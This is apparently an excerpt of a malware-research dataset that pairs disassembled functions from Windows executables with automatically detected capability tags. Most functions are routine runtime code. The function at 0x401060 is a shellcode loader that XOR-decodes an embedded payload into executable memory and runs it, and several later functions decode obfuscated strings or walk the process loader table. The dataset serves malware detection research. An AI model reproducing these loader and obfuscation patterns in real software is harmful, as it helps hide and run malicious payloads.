joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5788b7
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00578833
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x578a2f
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x578a2f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x5789de
jg 0x578910
test eax, eax
je 0x5789d4
push 1
push 0x1000
call fcn.00569e7b
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x578936
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x5789cb
push 0x8000
push ebx
call fcn.005609ba
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x578962
jg 0x57895d
cmp ecx, 0x1000
jb 0x578962
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00569556
add esp, 0x10
cmp eax, 0xffffffff
je 0x5789a7
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x57895d
jl 0x57898e
test ecx, ecx
jne 0x57894f
push dword [ebp - 0xc]
push ebx
call fcn.005609ba
push esi
call fcn.005684ed
add esp, 0xc
xor edi, edi
jmp 0x578a40
cmp byte [edi + 0x24], 0
je 0x5789be
cmp dword [edi + 0x20], 5
jne 0x5789be
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x5789c9
mov edi, dword [edi + 0x18]
jmp 0x5789cb
xor edi, edi
push esi
call fcn.005684ed
pop ecx
jmp 0x578a40
test ecx, ecx
jg 0x5789a0
jl 0x5789de
test eax, eax
jae 0x5789a0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0056b4df
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x578a01
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x5789a0
jmp 0x578a38
push ebx
call fcn.0056dd7b
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x5789a0
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x578a40
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x578a3d
mov edi, dword [edi + 0x18]
jmp 0x578a40
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0056b4df
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401060
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
mov edi, 0x4283a0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x38]
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [ebp - 0x3c], 0x3e8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
and ecx, 3
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], edx
mov edx, dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x40
mov dword [ebp - 8], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x24], edx
mov edx, dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x20], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x1000
push 0x2a0
push 0
mov dword [ebp - 0x28], str.GIGyfvg7t65f5t7f_R_CDR76ded6344sc98h98hbg8907YF_D
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ecx
call eax
mov esi, eax
mov ecx, 0x4280c0
mov dword [ebp - 4], esi
sub ecx, esi
mov edi, 0x2a0
mov dl, byte [ecx + eax]
xor dl, 0x4b
mov byte [eax], dl
inc eax
dec edi
jne 0x401104
mov eax, dword [ebp - 4]
add eax, dword [0x428360]
lea ebx, [ebp - 0x3c]
push ebx
call eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d2fd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4297c0
cmp edx, dword [eax]
je 0x40d31f
add eax, 8
inc ecx
cmp eax, 0x429850
jl 0x40d310
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4297c0]
jne 0x40d44d
mov eax, dword [0x42c35c]
cmp eax, 1
je 0x40d427
test eax, eax
jne 0x40d350
cmp dword [0x429174], 1
je 0x40d427
cmp edx, 0xfc
je 0x40d44d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40d387
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040d580
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040d670
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40d3ca
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040d670
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x421c40
push edi
call fcn.004097d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040d580
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040d590
lea eax, [ebp - 0xa0]
push 0x421c20
push eax
call fcn.0040d590
push dword [esi + 0x4297c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040d590
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040fcee
add esp, 0x2c
pop edi
jmp 0x40d44d
lea eax, [ebp + 8]
lea esi, [esi + 0x4297c4]
push 0
push eax
push dword [esi]
call fcn.0040d670
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4138c1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x41d81c
call fcn.00409a64
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.0041a7f0
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x413900
call fcn.0041a7f0
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41390e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41391c
or eax, 0xffffffff
jmp 0x413a04
mov ecx, esi
call fcn.00413837
mov dword [ebp - 0x14], eax
call fcn.004146cf
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x413953
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x413953
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00414683
push dword [ebp - 0x14]
call fcn.004141d1
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.004135c4
cmp eax, edi
je 0x4139c6
test byte [esi + 0x24], 0x10
je 0x413994
push 4
mov ecx, esi
pop ebx
call fcn.0041679f
test ah, 1
je 0x41398c
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004161d7
cmp dword [esi + 0x1c], edi
je 0x4139c6
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00416885
jmp 0x4139c6
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x4139da
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x4139f3
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x4139f3
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00413871
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x416085
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4160c7
call fcn.0041a7f0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4160c7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4160be
xor eax, eax
jmp 0x4160cf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004160d5
pop edi
pop esi
pop ebx
ret 4
Function at 0x41afa9
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41afd7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41aff5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041af0f
jmp 0x41aff5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41aff5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0041af0f
test edi, edi
mov eax, edi
jne 0x41afdf
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10020bd0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b9dcb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3c
push esi
mov eax, dword [0x100d0040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [0x100df490]
test al, 1
jne 0x10020d1b
or eax, 1
mov dword [0x100df490], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x100c6260]
xorps xmm0, xmmword [0x100c60a0]
mov dword [ebp - 0x20], 0x9d829d82
mov dword [ebp - 0x1c], 0xfb9dff85
mov word [ebp - 0x18], 0xbd8c
movups xmmword [ebp - 0x30], xmm0
xor byte [ebp + eax - 0x30], 0xbd
inc eax
cmp eax, 0x1a
jb 0x10020c53
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10020c80
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10026800
mov byte [ebp - 4], 1
mov edx, dword [0x100f33cc]
test edx, edx
je 0x10020ca9
mov edx, dword [edx + 0x50]
jmp 0x10020cab
xor edx, edx
mov eax, dword [0x100f33c4]
test eax, eax
je 0x10020cb9
mov eax, dword [eax + 0x18]
jmp 0x10020cbb
xor eax, eax
lea ecx, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.100206c0
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
mov dword [0x100df494], eax
cmp ecx, 0xf
jbe 0x10020d12
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10020d03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10020d03
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100b8bd7
mov eax, dword [0x100df494]
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x10020d20
mov eax, dword [0x100df494]
test eax, eax
je 0x10020d28
mov ecx, esi
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10026640
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ba087
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x100d0040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x10], ecx
push 0x40c
call fcn.100b8778
mov ebx, eax
add esp, 4
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], 0
lea edi, [ebx + 0xc]
xorps xmm0, xmm0
mov ecx, edi
movq qword [ebx], xmm0
mov dword [ebx + 8], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 1
mov dword [ebx], 0x100c45bc
mov eax, dword [esi]
push eax
mov dword [edi + 0xc], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x3b4], 0
mov dword [edi + 0x3b8], 0
mov dword [edi + 0x3bc], 0
mov byte [edi + 0x3c0], 0
mov dword [edi + 0x3c4], 0
mov byte [edi + 0x3c8], 0
mov dword [edi + 0x3cc], 0
mov dword [edi + 0x3d0], 0
mov dword [edi + 0x3d4], 0
mov dword [edi + 0x3d8], 0
mov dword [edi + 0x3dc], 0
mov dword [edi + 0x3e0], 0
mov word [edi + 0x3f0], 0
call fcn.10020d40
mov eax, dword [ebp - 0x10]
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 4], 0
mov dword [eax], edi
mov dword [eax + 4], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002b430
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0xd8d9d2f0
xor eax, eax
mov dword [ebp - 0xc], 0xd8c99dd1
mov dword [ebp - 8], 0xcfc8c9c5
mov word [ebp - 4], 0xced8
mov byte [ebp - 2], 0xbd
xor byte [ebp + eax - 0x10], 0xbd
inc eax
cmp eax, 0xf
jb 0x1002b457
movaps xmm0, xmmword [0x100c6760]
mov eax, 0x10
xorps xmm0, xmmword [0x100c6260]
mov dword [ebp - 0x18], 0xc8dec9d3
mov word [ebp - 0x14], 0xd8df
mov byte [ebp - 0x12], 0xbd
movups xmmword [ebp - 0x28], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x28], 0xbd
inc eax
cmp eax, 0x17
jb 0x1002b490
mov ecx, dword [0x100f3438]
lea edx, [ebp - 0x10]
push 0
push 1
push edx
mov eax, dword [ecx]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [eax + 0x150]
call eax
mov ecx, eax
mov dword [0x100f1a98], ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov dword [ebp - 0x10], 0xd8d9d2f0
xor eax, eax
mov dword [ebp - 0xc], 0xd8c99dd1
mov dword [ebp - 8], 0xcfc8c9c5
mov word [ebp - 4], 0xced8
mov byte [ebp - 2], 0xbd
xor byte [ebp + eax - 0x10], 0xbd
inc eax
cmp eax, 0xf
jb 0x1002b4e7
movaps xmm0, xmmword [0x100c6860]
mov eax, 0x10
xorps xmm0, xmmword [0x100c6260]
mov dword [ebp - 0x18], 0xbdc9dcd1
movups xmmword [ebp - 0x28], xmm0
xor byte [ebp + eax - 0x28], 0xbd
inc eax
cmp eax, 0x14
jb 0x1002b510
mov ecx, dword [0x100f3438]
lea edx, [ebp - 0x10]
push 0
push 1
push edx
mov eax, dword [ecx]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [eax + 0x150]
call eax
mov ecx, eax
mov dword [0x100f1a9c], ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esp, ebp
pop ebp
ret
Function at 0x1002e750
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [0x100ddbfc], 0
push ebx
push esi
push edi
je 0x1002e8de
mov ecx, dword [0x100f3408]
mov eax, dword [ecx]
mov eax, dword [eax + 0x68]
call eax
test al, al
je 0x1002e8de
mov ecx, dword [0x100f348c]
xor ebx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x1002e8de
mov eax, dword [ecx + 0x1c]
mov ecx, dword [eax + ebx*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
nop word [eax + eax]
inc ecx
cmp byte [esi + ecx], 0
jne 0x1002e7b0
xor edx, edx
test ecx, ecx
je 0x1002e7d9
nop dword [eax]
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x1002e7c0
cmp edi, 0x5ff56dc5
je 0x1002e7e8
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x1002e8de
mov ecx, dword [ebp - 4]
jmp 0x1002e794
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1c]
mov edi, dword [eax + ebx*4]
test edi, edi
je 0x1002e8de
mov edx, dword [edi + 0x88]
test edx, edx
je 0x1002e8de
movss xmm1, dword [0x100c5b80]
xor ebx, ebx
cmp edx, 4
jl 0x1002e8ab
mov ecx, dword [edi + 0x7c]
lea esi, [edx - 4]
shr esi, 2
add ecx, 0x1078
inc esi
lea ebx, [esi*4]
movss xmm0, dword [ecx - 0xc60]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x1002e84c
mov dword [ecx - 0xc60], 0x7f7fffff
movss xmm0, dword [ecx - 0x840]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x1002e867
mov dword [ecx - 0x840], 0x7f7fffff
movss xmm0, dword [ecx - 0x420]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x1002e882
mov dword [ecx - 0x420], 0x7f7fffff
movss xmm0, dword [ecx]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x1002e895
mov dword [ecx], 0x7f7fffff
add ecx, 0x1080
sub esi, 1
jne 0x1002e831
cmp ebx, edx
jl 0x1002e8af
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edx, edx
jle 0x1002e8de
imul ecx, ebx, 0x420
add ecx, 0x418
add ecx, dword [edi + 0x7c]
sub edx, ebx
movss xmm0, dword [ecx]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x1002e8d3
mov dword [ecx], 0x7f7fffff
add ecx, 0x420
sub edx, 1
jne 0x1002e8c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10030400
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ba6a5
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x100d0040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor ecx, eax
movzx eax, byte [edi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
lea eax, [ebp - 0x14]
imul ebx, ecx, 0x1000193
push ebx
push edi
push eax
call fcn.10031780
mov esi, dword [ebp - 0x10]
test esi, esi
jne 0x10030570
cmp dword [0x100f8640], 0xfffffff
jne 0x1003048a
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x1c], 0x100f863c
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x18], 0
call fcn.100b8778
mov ecx, dword [edi]
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [esi + 8], ecx
mov dword [esi + 0xc], 0
mov dword [ebp - 4], 1
mov ecx, dword [0x100f8640]
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100c5d70]
mov eax, dword [0x100f8654]
cvtpd2ps xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100c5d70]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [0x100f8638]
jbe 0x10030529
call fcn.10031590
push ebx
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.10031780
mov ecx, dword [0x100f8640]
mov edx, dword [eax]
jmp 0x1003052c
mov edx, dword [ebp - 0x14]
mov edi, dword [edx + 4]
inc ecx
mov dword [0x100f8640], ecx
mov dword [esi], edx
mov dword [esi + 4], edi
mov dword [edi], esi
mov dword [edx + 4], esi
mov eax, dword [0x100f8650]
mov ecx, dword [0x100f8644]
and eax, ebx
mov ebx, dword [ecx + eax*8]
cmp ebx, dword [0x100f863c]
jne 0x1003055d
mov dword [ecx + eax*8], esi
jmp 0x1003056c
cmp ebx, edx
jne 0x10030566
mov dword [ecx + eax*8], esi
jmp 0x10030570
cmp dword [ecx + eax*8 + 4], edi
jne 0x10030570
mov dword [ecx + eax*8 + 4], esi
lea eax, [esi + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10030740
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x18
mov edx, dword [ebp + 8]
push ebx
mov ebx, ecx
cmp edx, eax
je 0x10030896
mov eax, dword [ebx + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [edx + 4]
mov dword [ebp - 8], eax
movzx eax, byte [edx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 9]
push esi
push edi
mov edi, dword [ebx + 0xc]
mov esi, edx
xor ecx, eax
mov dword [ebp - 0x18], edi
movzx eax, byte [edx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 4], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x10
push eax
call fcn.100b8bd7
dec dword [ebx + 8]
add esp, 8
cmp edi, dword [ebp - 0x10]
je 0x100307f9
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x100307b7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jne 0x1003088c
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
pop edi
mov dword [edx], esi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x1003080d
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov dword [edx], eax
jmp 0x10030810
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov dword [edx + 4], ecx
cmp esi, eax
je 0x1003088c
nop word [eax + eax]
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*8]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x10
push eax
call fcn.100b8bd7
dec dword [ebx + 8]
add esp, 8
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp - 0x10]
je 0x1003089d
cmp esi, eax
jne 0x10030867
mov ecx, dword [ebp - 4]
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov dword [ecx + 4], edx
cmp esi, eax
jne 0x10030820
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8